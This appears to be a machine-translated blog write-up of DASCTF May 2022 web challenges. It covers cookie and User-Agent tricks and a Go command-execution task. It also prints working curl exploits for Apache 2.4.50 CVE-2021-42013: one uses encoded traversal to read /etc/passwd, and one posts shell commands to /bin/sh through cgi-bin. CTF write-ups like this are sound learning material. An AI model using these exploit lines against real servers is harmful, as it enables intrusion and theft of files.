当前位置:网站首页>2022DASCTF MAY
2022DASCTF MAY
2022-07-23 20:16:00 【Occasionally dodge dark clouds 334】
The big guys are trying to , I can't leave it alone. Come on !!!
Power Cookie

Open the interface , Well, log in as a tourist , click
Nothing , Generally, such problems are corrected by grabbing the package ,cookie The value of or x-forwarded-for etc.

Tips admin That's it cookie

Tried it on , Find out cookie admin=1 That's all right.
Magic browser

No idea , Or take a look at the source code

hex code , Decode it ,
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
log
Then change the file User-Agent

You can get flag
getme
Open the page <!-- pwd:/usr/local/apache2/ -->, Just this directory information
One word , Mongolia !
then burp Sweep it , Find out 
Search for Apache/2.4.50 (Unix),
Apache HTTP Server 2.4.50 Path traversal and file disclosure vulnerabilities in (CVE-2021-42013)
Exploit poc:
curl -v --path-as-is Destination address : port /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
You can view any file
Indicates that there is a vulnerability
The target server is turned on cgi perhaps cgid When , It can be executed by command
curl -v --data "echo; command " ' Destination address : port /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
perhaps
GET :
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
POST:
echo Content-Type: text/plain; echo;ls / I don't know why ,
No return value , But look at others wp this is it , Then come out the catalogue , Then explore , It could be me burp Something went wrong , debugged .
hackme

Open the interface and find that you can click at the bottom , Click in
It is found that there may be a file in every link , And a command is executed in each corresponding file . Like above whoami、pwd wait .

See this and ,go Language has not been learned yet , Let's have a brief understanding of ,Go Used in language os/exec Five positions for executing commands - You know Need to upload uers file , Then he will go go Parsing
package main
import (
"fmt"
"os/exec"
)
func main() {
Command("ls /") Executed command
}
func Command(cmd string) error {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
fmt.Println(string(output))
return err
}

Finally found flag, use cat /flag Replace... In the above statement ls / You can find flag. So this question seems to be incomplete go Even if you don't understand go Language , The test is go Script .
The next two questions , Realization is ability , Not enough , Continue to learn
边栏推荐
- Leetcode 238. 除自身以外数组的乘积
- 20. Ref and props
- Atelier macoll - notes de développement de la secte de l'ours 2
- 2022 Shandong old age Expo, Shandong elderly care exhibition, China International elderly care service industry exhibition was held in September
- Failure after reinstalling the system (error: Reboot and select proper boot device or insert boot media in selected boot device)
- Typescript use of new data type symbol
- Configure MySQL master-slave replication with mysqldump or mydumper
- 梅科爾工作室-小熊派開發筆記2
- Task03 | return
- 能量原理与变分法笔记15:微元法的求解
猜你喜欢

Energy principle and variational method note 17: generalized variational principle (identification factor method)

能量原理与变分法笔记14:总结+问题的求解

Energy principle and variational method note 19: minimum complementary energy principle + possible work principle

梅科尔工作室-华为14天鸿蒙设备开发实战笔记四

next数值型数据类型()出现输入错误后,下次依然能正常输入

Win11小组件怎么添加待办事项?Win11添加待办事项小组件的方法

Energy principle and variational method note 18: virtual force principle
![[激光器原理与应用-8]: 激光器电路的电磁兼容性EMC设计](/img/98/8b7a4fc3f9ef9b7e16c63a8c225b02.png)
[激光器原理与应用-8]: 激光器电路的电磁兼容性EMC设计

能量原理与变分法笔记16:虚位移原理的求解

能量原理與變分法筆記19:最小餘能原理+可能功原理
随机推荐
能量原理与变分法笔记15:微元法的求解
Typescript use of new data type symbol
Leetcode 216. combined sum III
Prepare for pressure test with JMeter and visualvw
dokcer镜像理解
QT With OpenGL(帧缓存篇)
How to solve the problem that the solid state disk cannot be found when installing win11?
The numerical sequence caused by the PostgreSQL sequence cache parameter is discontinuous with interval gap
Compiler llvm MLIR introductions llvm backend instruction
MySQL data recovery - using the data directory
剑指 Offer II 115. 重建序列
Mekol Studio - Little Bear Development Notes 2
What if redis breaks down?
梅科尔工作室-小熊派开发笔记2
2022DASCTF MAY
TASK03|回归
从200W超级闪充看iQOO 10 Pro的 “共情”能量
Osgearth2.8 compiling silvering cloud effect
Meiker Studio - Huawei 14 day Hongmeng equipment development practical notes 5
21.mixin混入详解